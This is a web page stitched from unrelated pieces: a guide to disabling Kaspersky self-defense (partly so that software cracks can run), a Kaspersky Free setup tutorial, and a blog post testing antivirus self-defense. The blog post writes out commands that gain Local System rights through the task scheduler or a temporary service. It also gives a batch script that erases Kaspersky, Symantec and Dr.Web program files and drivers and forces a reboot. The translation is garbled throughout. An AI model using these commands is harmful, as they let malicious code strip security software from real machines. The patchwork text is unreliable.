In certain situations, it becomes necessary to disable Kaspersky. Let's say if you need to open specific page, but the program detects it as potentially dangerous or malicious. Also, many people know that antiviruses quarantine all kinds of cracks and programs for cracking software licenses. In this case, there is no other way out but to disable Kaspersky's self-defense while working with such utilities.
Before disabling Kaspersky, please note that after that the antivirus becomes inactive, that is, your system is completely unprotected against all kinds of malware and viruses. Thus, you are imposing yourself on potential danger.

You will need:

In order to disable Kaspersky version 2010, you will need to open the main window of the antivirus (you can do this by double-clicking on the program shortcut on the taskbar, using the desktop shortcut, or by finding Kaspersky Anti-Virus among installed programs in the start menu).

After that, on the right top window looking for the "Settings" button. A settings window will appear in front of you, in the left working area of ​​\u200b\u200bwhich the "Parameters" section will be available. We go into it, and uncheck the box next to the line "Enable self-defense". Confirm the changes by clicking the "OK" button and close the settings menu. It's easier than using Kaspersky Rescue Disk.

In the case of the 2011 version, the procedure will be similar. Also, as in the previous case, open the settings window (it is located in the same place). After that, go to the "Self-defense" tab. We look at the window, which is located on the right side: there we are looking for the option "Enable self-defense".

In order to disable Kaspersky 2011, uncheck the box next to this item, and save the changes using the "OK" button. Once completed, be sure to turn on Self-Defense. If necessary, activate the program or extend the trial version of Kaspersky.

Cautions

As we have already said, by disabling antivirus self-defense, you will not be able to check your computer for viruses and dress it up for potential danger. So only do this if absolutely necessary, and only if you are one hundred percent sure that the link you want to follow is absolutely safe; and the program you are about to run or install will not harm your operating system.

Remember that it is much easier to prevent the penetration of malicious software than to deal with the consequences of their activity later.

kaspersky free- free antivirus Kaspersky, released by Kaspersky Lab, provides high-quality basic computer protection against malware threats. Free Kaspersky Anti-Virus provides protection against different types virus threats, network attacks, fraudulent activities.

At Kaspersky Free Antivirus are only the most necessary components, acting as the main protection of the computer. Therefore, the antivirus has become much easier and faster, now Kaspersky Free can be used on the same computer along with other antiviruses. Kaspersky Free Anti-Virus may report other "incompatible" anti-virus programs, but in fact it gets along well with other anti-virus programs on the same computer.

Another question is, does it make sense to keep another antivirus with similar functionality on one computer? As a second antivirus, along with Kaspersky Free, you can use antivirus programs the second echelon of protection, such as .

The head of Kaspersky Lab, Evgeny Kaspersky, said the following about the free antivirus Kaspersky FREE:

Imp Release paid version Kaspersky Anti-Virus did not occur spontaneously. Kaspersky Lab has been researching this issue for a long time. They came to the conclusion that the audience of paid and free antivirus products overlaps little.

Users paid antiviruses you need features that are not in the free version of the antivirus (parental control, online payment protection, technical support, identity theft protection), so it is ready to purchase paid product. At the same time, some users of the free version, after using Kaspersky Free want to improve the overall security of their computer. To do this, they will switch to a paid version of Kaspersky Anti-Virus. Migration from paid version to free version will be minimal, since few people will agree to lower the security level of their computer.

The free antivirus Kaspersky Free was originally released in Russian for Russia and Ukraine. AT this moment time, the antivirus entered the world market, is available to all users.

Look at the table comparing the main features of Kaspersky Free and Kaspersky internet security(this antivirus is installed on my computer).

From the official website of Kaspersky Lab ( Kaspersky Lab) you can download the Kaspersky Free web installer.

download kaspersky free

Installing Kaspersky Free

Run the antivirus installer file. In the window that opens, click on the "Install" button. Next, in the "License Agreement" window, accept the terms license agreement. In the next window " Benefits of Kaspersky Security Network» accept the terms of the KSN regulation.

Then the process of installing the antivirus on the computer will begin. Compatibility check in progress operating system and service packs program requirements, Availability incompatible programs, Availability free space on disk. An internet connection is required to install and activate the antivirus.

The anti-virus will be downloaded to the computer, and then the installation of Kaspersky Free will begin. After completing the installation of the program, click on the "Finish" button.

First, a window will open with a message about preparing to launch the program, and then the Activation window will open. After receiving the data from the server, the activation of the antivirus will automatically complete.

You will be prompted to create account. If you do not want to register, then ignore such messages. Detailed Process installation of free anti Kaspersky virus Free can be seen in the video you can watch below this article.

Basic settings of Kaspersky Free

The main window of Kaspersky Free displays information about the protection status of your computer, including this case: "The computer is protected." Two buttons are active in the main window: "Check" and "Update". Buttons "Safe Money" and " Parental control» are not active, since these components are available in the paid version of the antivirus - Kaspersky Internet Security.

The status of computer protection in Kaspersky Free is signaled by an indicator that changes color:

• green indicates that the computer is protected
• yellow color indicates the presence of problems in protection
• red color indicates a serious threat to the security of the computer

Click on the "Details" button. The "Notification Center" window will open, in which you need to perform the necessary actions. It is recommended to update databases and software modules, as well as install Kaspersky Protection in the browser.

The Kaspersky Protection extension is required for full browser protection. Agree to install the extension in the browsers installed on your computer. In the browser window, if you see a message about the need to install the extension, agree to install Kaspersky Protection, and then activate the extension.

To start scanning your computer, click the "Scan" button. The Scan window starts a manual scan of your computer. By default, Kaspersky Free is enabled automatic check in real time.

Immediately after installing the antivirus on the computer, you must perform a full scan of all areas of the computer.

The check is started manually. Available in Kaspersky Free antivirus the following options checks:

• Full scan - scan all areas of the computer
• Quick check- checking objects loaded at the start of the operating system
• Custom scan- checking objects added by the user
• Examination external devices- checking external devices connected to the computer

With the help of the "Task Manager" you can control the conduct of the check and receive reports on previously conducted checks. A scan (full or quick) can be scheduled. To do this, in the "Scan schedule" window, a schedule is created according to which the antivirus will scan the computer.

To update the anti-virus databases, click the "Update" button.

Anti-virus databases and anti-virus components are updated in automatic mode, with a certain frequency. In the Update window, you can update anti-virus databases and program modules manually, at any time. To do this, click on the "Update" button.

You can control the antivirus from the notification area. To do this, right-click on the Kaspersky Free icon, and in context menu select the desired action.

Kaspersky settings

To go to Kaspersky settings Free, click on the "Settings" button on the bottom panel.

The "General" tab contains settings for the operation of the free Kaspersky Anti-Virus. By default, protection is enabled, interactive protection and anti-virus auto-start work.

The antivirus has the ability to set password protection in order to prevent changing settings, shutting down or uninstalling the antivirus.

Using the "Manage settings" setting, you can: "Import settings", "Export settings", "Restore settings", to change the settings of the program settings.

After clicking on the "Default Settings" setting, you can change the settings for the antivirus.

The following security levels are supported:

• "Maximum level of protection" - recommended when working in case of high danger, this mode consumes significant computer resources
• "Optimal security level" - recommended for most users
• "Minimum security level" - provides high performance computer with minimal protection

The Protection tab contains the main anti-virus components: File Anti-Virus, IM Anti-Virus, Mail Anti-Virus, Web Anti-Virus.

• "File Anti-Virus" - scans all opened, saved and launched files, protects file system computer
• "IM-Antivirus" - checking the traffic of Internet messengers for the presence of malicious and phishing links
• "Mail Anti-Virus" - scanning incoming and outgoing messages for dangerous objects
• Web Anti-Virus - scans incoming web traffic and prevents dangerous scripts from running on the computer

The Anti-Phishing component is built into Web Anti-Virus and IM Anti-Virus. The on-screen keyboard, which is part of the antivirus, protects against data interception and does not allow entrusting access to information that an attacker can obtain using screenshots.

In the "Performance" tab, the operation of the antivirus is configured, when performing applied tasks. Power saving mode enabled, activated gaming profile, rules are set for the use of computer resources.

Using the "Pause File Anti-Virus" setting, you can stop File Anti-Virus at certain time, or when running the specified programs.

In the "Verification" tab, you can change the security level by moving the slider to the preferred position: high, recommended, or low. Settings are configured here Kaspersky actions Free when a threat is detected, and when external devices are connected.

You can run a virus scan according to a schedule. Click on the “Scan schedule” setting, then select the type of scan: “Full scan” or “Quick scan”, and in the window that opens, select the time interval between scans.

Advanced antivirus settings are recommended to use advanced users. You must understand what you are doing in order to incorrect setting Do not lower your computer's security level. By default, Kaspersky Free is configured optimally, so it is not recommended to change the antivirus settings unnecessarily.

Possible choices for advanced settings:

• Setting up a full scan
• Setting up a quick check
• Setting up custom scan
• Vulnerability search area
• Run scan tasks with user rights

By using additional options You can flexibly configure each test option.

In the "Advanced" tab, you can access other program settings: "Update", "Threats and exclusions", "Self-defense", "Network", "Notifications", "Reports and quarantine", " Additional funds protection and control”, “View”.

In the main window Kaspersky programs Free click on the "More Features" button.

In the "Tools" window, in the "Protection extension" offer to switch to Kaspersky Internet Security.
Enter the window Cloud protection» to get acquainted with Kaspersky data security network.

For start on-screen keyboard, which protects against data interception, click on the "On-Screen Keyboard" button.

Enter "Quarantine" in order to access the objects quarantined by the antivirus.

When a virus is detected, Kaspersky Free disinfects the infected object. If the file was disinfected by an antivirus, you can continue using the disinfected file on your computer. If disinfection is not possible, the antivirus will delete the infected file from the computer, and a copy of the file will be quarantined. Problem file, placed in this special isolated area (quarantine) is securely isolated. An infected file cannot harm a computer.

You can delete the file from quarantine, or vice versa, restore it (not recommended).

Scanning for viruses in Kaspersky Free

In the "Scan" window, in the "Scan" section, run a full scan of your computer.

At full check computer, the following areas will be scanned:

• system memory
• system backup storage
• hard and removable drives

Quick Scan can be launched from the main application window. The following objects will be checked:

• disk boot sectors
• system memory
• objects to load on Windows startup

A custom scan is launched from the context menu, or from the main application window. Spot check serves to check specific file, folder or drive. To scan a file, right-click on it, and then select "Scan for viruses" from the context menu.

Upon completion of the check, you can familiarize yourself with the result.

Removing Kaspersky Free

You can remove the free antivirus Kaspersky Free from your computer from the Start menu. In the "All programs (applications)" list, find the Kaspersky Free folder, and in the folder select "Uninstall Kaspersky Free". Next, after launching the uninstall utility, go through the steps of uninstalling the program.

Article Conclusions

Kaspersky Free Antivirus - Kaspersky Free provides basic protection against virus threats and actions of malicious objects. Kaspersky antivirus Free is suitable for those users who use free antivirus programs on their computer.

kaspersky free. Free Kaspersky antivirus (video)

Self-defense of antiviruses or cutting an antivirus without a knife

• Antivirus protection

Hi all!

Recently, we have already discussed the power of heuristic technologies of modern antiviruses and came to the conclusion that no one can be trusted. Even myself sometimes :)

Today we will talk about another controversial point of antiviruses - self-defense. Some vendors take this moment very seriously, and their products survive even in complex cases of active infection, effectively removing virus interceptions, installing themselves into the system, and even subsequently removing well-prescribed malware. Others believe that active infection- this is a battle with windmills, which does not lead to anything worthwhile, and therefore - LiveCD, and in some cases format c:

Let's give credit to both opponents: of course, if there is an opportunity to defeat the viral confrontation, that's good. Unless this leads to bsods and booting the system for a couple of days. And it is absolutely obvious that with a serious and complex infection, it is often impossible to break through the active mass of interceptions, malicious processes at the level of the kernel and other things - and therefore it is often really more reasonable to treat inactive system(from a LiveCD or by scanning a hard drive on an uninfected machine), but in the case of a motley file infection, think about complete reinstallation OS.

But let's not indulge in disputes - we'll leave it for the next article :) Let's talk about something simple: about the system's self-defense even on a system that is obviously not infected. And let's take a priori:

1) there is a complex product antivirus + hips + firewall;
2) the system was not infected, but somehow penetrated malicious code;
3) the malicious code intends to remove the antivirus or damage it enough to ensure complete inoperability.

The option of action will be the simplest - an attempt to remove a vital important files antivirus with Local System rights. The idea of ​​this approach belongs to my good friend Alexei Baranov, who reported it in private circles some time ago. Time has passed, we will assume that the vendors have pulled themselves up - let's check it out.

On Windows systems, working as an administrator (and this is probably 80% of all systems), getting Local System rights is quite simple. Two methods immediately come to mind, well described on the network.

Method 1. Using the scheduler.
By default, the Task Scheduler service runs on all Windows systems. This service runs tasks with the desired Local System rights. Then it's very simple to add a task somehow:
at 11:05 c:\killer.bat
and kill.bat will run as Local System.

The advantages are obvious: everything is simple and clear. Disadvantage: The user may notice a strange new task in the scheduler, and simply disable this service for security reasons.

Method 1: Create a service.
The essence of the method is to create a service, start it and delete it. In this case, everything is implemented in three lines:
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystem

At the same time, not only is killer.bat will start with IDLE priority, it will also be started on behalf of Local System.
The method is invisible, does not manifest itself in any way.

At the time of publication of the article, KIS 2010 skipped both methods at the hips level, without even asking for any permissions.

Well, now let's move on to killer.bat(in our case, it is located at the root of the C drive, but it is clear that you can drop it anywhere).

The essence of this file is simple: we delete everything that belongs to the antivirus. So, for Kaspersky 2010 it will be:
net stop service
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"

For Symantec, something like (who knows more precisely - correct me, I myself am on Kaspersky):
net stop service
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"

For Doctor Web:
net stop service
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"

It is clear that a similar script can be written for all antiviruses - the essence is to change the paths to vital files.

Total - what do we have?

1. KIS 2010 took such damage that it was killed and the system was left unprotected. KIS 2011 doesn't have this sexual weakness - but it's still beta...
2. NIS lost a few files, but was not broken, the files were subsequently downloaded and restored when updating from the Internet.
3. DrWeb was not affected at all, which was expected, taking into account the developer's special emphasis on countering the infection. But don't forget that there is SpiDie for the Web...

While hippies specified products calmly missed both options for manipulation (KIS checked personally).

FINDINGS
Unfortunately, we have to state the fact that some of the existing antivirus solutions have a number of vulnerabilities that can be used to damage the protection and actually remove the antivirus from the computer.

It is proposed in the comments to supplement observations and studies on other antivirus products(preferably with hips, in order to evaluate the level of blocking actions to obtain Local System rights). I think that the described manipulations are clear and can be easily reproduced on virtual machines enthusiasts.

Cheers!

Tags:

• self-defense
• vulnerabilities
• antivirus

Kaspersky Anti-Virus has a multi-stage system for protecting the OS and personal data from viruses and other malicious programs, and therefore is the most important link in the computer security system. Even temporarily disabling it is undesirable, since a virus can infect Windows instantly when you least expect it. But in some cases, you cannot do without disabling the antivirus, since its too aggressive protection can block the launch and normal work some programs and sites.

Disable the antivirus only when it is really necessary and there are no other options. Forgetting to enable it, you risk infecting your computer malware and then get rid of them. Use exceptions for conflicting applications instead of disabling Kaspersky, so as not to compromise the security of the OS and personal data.